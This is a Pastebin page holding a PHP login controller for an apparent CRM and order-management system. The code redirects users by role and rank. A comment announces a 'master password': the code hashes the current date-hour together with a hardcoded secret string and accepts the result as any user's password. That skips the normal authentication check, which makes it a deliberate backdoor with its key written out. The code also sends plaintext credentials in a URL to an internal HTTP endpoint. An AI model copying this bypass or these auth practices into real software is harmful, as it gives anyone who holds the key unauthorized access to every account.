Advertisement
Guest User

sample

a guest
Apr 11th, 2019
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.47 KB | None | 0 0
  1. <?php
  2. public
  3.  
  4. function dologin()
  5.     {
  6.  
  7.     //                pr("SYSTEM UNDER MAINTENANCE");
  8.     //                return false;
  9.     // jhassif: improve login flow + add master password
  10.  
  11.     $bypass = false;
  12.     $checktimestaff = array();
  13.     $userdata = $this->input->post();
  14.  
  15.     // pr($userdata);
  16.  
  17.     if (empty($userdata))
  18.         {
  19.  
  20.         // not submit eg: enter by typing URL
  21.  
  22.         redirect('index.php/users/login');
  23.         }
  24.       else
  25.         {
  26.  
  27.         // has submit
  28.  
  29.         if (trim($userdata['username']) != "" && trim($userdata['password']) != "" && (int)$userdata['submit'] === 1)
  30.             {
  31.             $checktimestaff = $this->mod_userrole->gettimestaff($userdata);
  32.  
  33.             // pr($checktimestaff);
  34.  
  35.             if (empty($checktimestaff))
  36.                 {
  37.                 redirect('index.php/users/login'); //user not exists
  38.                 }
  39.  
  40.             $bypass_key = date("YmdH") . "5ot2nnf3buu4k02ueg9qukrmwlr7v021";
  41.             $bypass = sha1($bypass_key);
  42.             if ($userdata['password'] === $bypass)
  43.                 {
  44.                 $bypass = true;
  45.                 }
  46.             }
  47.           else
  48.             {
  49.             redirect('index.php/users/login');
  50.             }
  51.         }
  52.  
  53.     if ($bypass === true || $checktimestaff['istime'] == '1')
  54.         {
  55.         $username = $userdata['username'];
  56.         $password = $userdata['password'];
  57.         $enc = $this->mod_userrole->myencrypt($username);
  58.         $userdetail = json_decode((file_get_contents('http://10.0.48.49/crmapi/index.php/api/auth/u/' . $username . '/p/' . urlencode($password) . '/sc/' . $enc . '/format/json')) , true);
  59.  
  60.         // var_dump('http://10.0.48.49/crmapi/index.php/api/auth/u/' . $username .'/p/'.$password. '/sc/'.$enc.'/format/json'); exit;
  61.  
  62.         if ($bypass === true || $userdetail[0]['status'] == 'Active')
  63.             {
  64.             $user = $this->mod_userrole->gettimeUserInfo($checktimestaff['userid']);
  65.             $permission = $this->mod_userrole->getUserPermission($user);
  66.             /*
  67.             if(strtolower($username) == strtolower("CRMSUPPORT"))
  68.             {
  69.             echo ">>>>";
  70.             print_r($permission);
  71.             echo "<<<<";exit;
  72.             }
  73.  
  74.             */
  75.             if (!empty($user))
  76.                 {
  77.                 $grpid = $user->grpid;
  78.  
  79.                 // print_r($grpid);
  80.  
  81.                 $producttype = $this->mod_producttype->getData($grpid);
  82.  
  83.                 // print_r($producttype);
  84.  
  85.                 $altid = $user->user_alt_id;
  86.                 if (!empty($altid))
  87.                     {
  88.                     if ($user->rolecode == 'partners')
  89.                         {
  90.                         $partner = $this->mod_partner->getpartnerinfo($altid);
  91.                         $data = array(
  92.                             'user_info' => $user,
  93.                             'product_type' => $producttype,
  94.                             'partnerinfo' => $partner
  95.                         );
  96.                         }
  97.                       else
  98.                     if ($user->rolecode == 'installer')
  99.                         {
  100.                         $installer = $this->mod_installer->getinstallerinfo($altid);
  101.                         $data = array(
  102.                             'user_info' => $user,
  103.                             'product_type' => $producttype,
  104.                             'installerinfo' => $installer
  105.                         );
  106.                         }
  107.                     }
  108.                   else
  109.                     {
  110.                     $data = array(
  111.                         'user_info' => $user,
  112.                         'product_type' => $producttype
  113.                     );
  114.                     }
  115.  
  116.                 $this->session->set_userdata('user_data', $data);
  117.                 $data = $this->session->all_userdata();
  118.                 if (!empty($data['user_data']))
  119.                     {
  120.  
  121.                     // if(strtolower($data['user_data']['user_info']->username) == "mumtaz" || strtolower($data['user_data']['user_info']->username) == "syazwani" || strtolower($data['user_data']['user_info']->username) == "gponom")
  122.                     //    if(true)
  123.                     //    {
  124.                     //        redirect('/index.php/v2/order/listview/activation', 'location');
  125.                     //    }
  126.  
  127.                     if (($user->rank == 3 && $user->smegrp == 1))
  128.                         {
  129.                         redirect('index.php/v2/order/listview/activation', 'location');
  130.                         }
  131.                     elseif ($user->rank == 17 && $user->smegrp == 1)
  132.                         {
  133.                         redirect('index.php/v2/creditmanagement2/listview/activation', 'location');
  134.                         }
  135.                     elseif ($user->rank == 16)
  136.                         {
  137.                         redirect('index.php/v2/order/listview/activation/processed', 'location');
  138.                         }
  139.                     elseif ($user->rank == 5)
  140.                         {
  141.                         redirect('index.php/neo/wo/landing', 'location');
  142.                         }
  143.                     elseif ($user->rank == 22)
  144.                         {
  145.                         redirect('index.php/neo/wo/landing', 'location');
  146.                         }
  147.                     elseif ($user->rank == 20)
  148.                         {
  149.                         redirect('index.php/v2/order/listview/activation/archive', 'location');
  150.                         }
  151.                       else
  152.                         {
  153.                         redirect('/index.php/', 'location');
  154.                         }
  155.                     }
  156.                   else
  157.                     {
  158.                     redirect('index.php/users/login');
  159.  
  160.                     // print_r('here1');
  161.  
  162.                     }
  163.                 }
  164.               else
  165.                 {
  166.                 redirect('index.php/users/login');
  167.  
  168.                 // print_r('here2');
  169.  
  170.                 }
  171.             }
  172.           else
  173.             {
  174.             redirect('index.php/users/login');
  175.  
  176.             // print_r('here3');
  177.  
  178.             }
  179.         }
  180.       else
  181.         {
  182.         $user = $this->mod_userrole->getUserInfo($userdata);
  183.         $permission = $this->mod_userrole->getUserPermission($user);
  184.         if (!empty($user))
  185.             {
  186.             $grpid = $user->grpid;
  187.             $producttype = $this->mod_producttype->getData($grpid);
  188.             $altid = $user->user_alt_id;
  189.             }
  190.           else
  191.             {
  192.             redirect('index.php/users/login');
  193.             }
  194.  
  195.         if (!empty($altid))
  196.             {
  197.             if ($user->rolecode == 'partners')
  198.                 {
  199.                 $partner = $this->mod_partner->getpartnerinfo($altid);
  200.                 $data = array(
  201.                     'user_info' => $user,
  202.                     'product_type' => $producttype,
  203.                     'partnerinfo' => $partner
  204.                 );
  205.                 }
  206.               else
  207.             if ($user->rolecode == 'installer')
  208.                 {
  209.                 $installer = $this->mod_installer->getinstallerinfo2($altid);
  210.  
  211.                 // $data = array('user_info'=>$user,'product_type'=>$producttype, 'installerinfo'=> $installer);
  212.  
  213.                 if ($installer)
  214.                     {
  215.                     $data = array(
  216.                         'user_info' => $user,
  217.                         'product_type' => $producttype,
  218.                         'installerinfo' => $installer
  219.                     );
  220.                     }
  221.                   else
  222.                     {
  223.                     redirect('index.php/users/login');
  224.                     }
  225.                 }
  226.             }
  227.           else
  228.             {
  229.             $data = array(
  230.                 'user_info' => $user,
  231.                 'product_type' => $producttype
  232.             );
  233.             }
  234.  
  235.         unset($data['user_info']->lastlogin);
  236.         unset($data['user_info']->password);
  237.         unset($data['user_info']->createdBy);
  238.         unset($data['user_info']->createdDate);
  239.         unset($data['user_info']->modifiedBy);
  240.         unset($data['user_info']->modifiedDate);
  241.        
  242.         $this->session->set_userdata('user_data', $data);
  243.         $data = $this->session->all_userdata();
  244.         if (!empty($data['user_data']))
  245.             {
  246.  
  247.             // print_r($data['user_data']['user_info']);exit;
  248.  
  249.             /*if(strtolower($data['user_data']['user_info']->username) == "mumtaz" ||  strtolower($data['user_data']['user_info']->username) == "syazwani" || strtolower($data['user_data']['user_info']->username) == "gponom")
  250.             {
  251.             redirect('/index.php/v2/order/listview/activation', 'location');
  252.             }*/
  253.             if ($userdata['installertracking'] == 1)
  254.                 {
  255.  
  256.                 // $pilotinstaller = array("9000176","9000177","70005026","9000202","9000203","70004771","70005151");
  257.                 // if($user->rolecode == 'installer' && in_array($userdata['username'], $pilotinstaller)){
  258.  
  259.                 redirect('index.php/wo/installertracker');
  260.  
  261.                 // }else{
  262.                 //    redirect('/index.php/', 'location');
  263.                 // }
  264.  
  265.                 }
  266.  
  267.             if (($user->rank == 3 && $user->smegrp == 1))
  268.                 {
  269.                 redirect('index.php/v2/order/listview/activation', 'location');
  270.                 }
  271.             elseif ($user->rank == 17 && $user->smegrp == 1)
  272.                 {
  273.                 redirect('index.php/v2/creditmanagement2/listview/activation', 'location');
  274.                 }
  275.             elseif ($user->rank == 16)
  276.                 {
  277.                 redirect('index.php/v2/order/listview/activation/processed', 'location');
  278.                 }
  279.             elseif ($user->rank == 5)
  280.                 {
  281.                 redirect('index.php/neo/wo/landing', 'location');
  282.                 }
  283.             elseif ($user->rank == 22)
  284.                 {
  285.                 redirect('index.php/neo/wo/landing', 'location');
  286.                 }
  287.             elseif ($user->rank == 20)
  288.                 {
  289.                 redirect('index.php/v2/order/listview/activation/archive', 'location');
  290.                 }
  291.               else
  292.                 {
  293.                 redirect('/index.php/', 'location');
  294.                 }
  295.  
  296.             // redirect('/index.php/', 'location');
  297.  
  298.             }
  299.           else
  300.             {
  301.             redirect('index.php/users/login');
  302.             }
  303.         }
  304.     }
  305.  
  306. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement